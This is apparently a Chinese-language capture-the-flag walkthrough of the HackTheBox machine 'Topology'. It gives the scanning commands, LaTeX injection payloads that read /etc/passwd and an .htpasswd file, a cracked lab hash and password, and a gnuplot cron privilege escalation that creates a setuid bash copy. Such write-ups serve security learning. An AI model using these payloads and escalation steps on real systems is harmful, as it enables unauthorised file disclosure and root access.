Topology
1、使用nmap进行端口扫描
nmap -p- --min-rate 10000 10.10.11.217
2、使用浏览器访问80端口发现是一个网页,对其进行信息收集
在网站主页面发现域名:topology.htb
在网站源码中发现域名:latex.topology.htb
3、将发现的域名添加到/etc/hosts文件中
4、对所发现的域名进行子域名爆破
gobuster vhost -u http://topology.htb --append-domain -w subnames-oneforall.txt -t 100
5、使用浏览器访问后发现latex是一个可正常访问的子域名并且可以遍历目录,其中equation.php是一个latex表达式生成界面,根据内容信息可知输入**\frac{x+5}{y-3}**可输出对应的图片
6、 从互联网中搜索关于latex表达式的漏洞信息,存在laTex表达式注入漏洞
7、使用payload进行尝试注入读取/etc/passwd文件,发现被防护,使用"$“和”["皆被防护
\input{/etc/passwd}
$\input{/etc/passwd}$
[\input{/etc/passwd}]
8、查阅资料使用\lstinputlisting进行读取
$\lstinputlisting{/etc/passwd}$
9、继续读取用户名的hash值
$\lstinputlisting{/var/www/dev/.htpasswd}$
10、hashid进行识别该hash值
11、使用hashcat进行破解得到密码
vdaisley : $apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTYO
vdaisley/calculus20
12、使用获得的用户口令ssh登录服务器
13、获取user的flag
8bc9ffdd5*******************
14、本地使用python启http服务,靶机中下载pspy64并附加执行权限
15、执行pspy64查看分析结果,可以看到find /opt/gunplot -name *.plt -exec gunplot {}
这条命令,在/opt/gunplot这个目录下搜索 *.plt的文件,然后作为gunplot的参数执行
16、根据资料进行提权
http://www.gnuplot.info/docs_4.2/node327.html
echo "system 'cp /bin/bash /tmp/yebai;chmod u+s /tmp/yebai'" > yebai.plt
## 将字符串 system 'cp /bin/bash /tmp/yebai;chmod u+s /tmp/yebai' 写入文件 yebai.plt。该字符串包含两个命令,分别是将 /bin/bash 复制到 /tmp/yebai 并赋予其 setuid 权限。
cp yebai.plt /opt/gnuplot/yebai.plt
## 将文件 someb0dy.plt 复制到目录 /opt/gnuplot/ 中,并重命名为 yebai.plt。
cd /tmp
## 进入tmp目录下
./yebai -p
## 执行可执行文件 yebai,并使用 -p 选项进行操作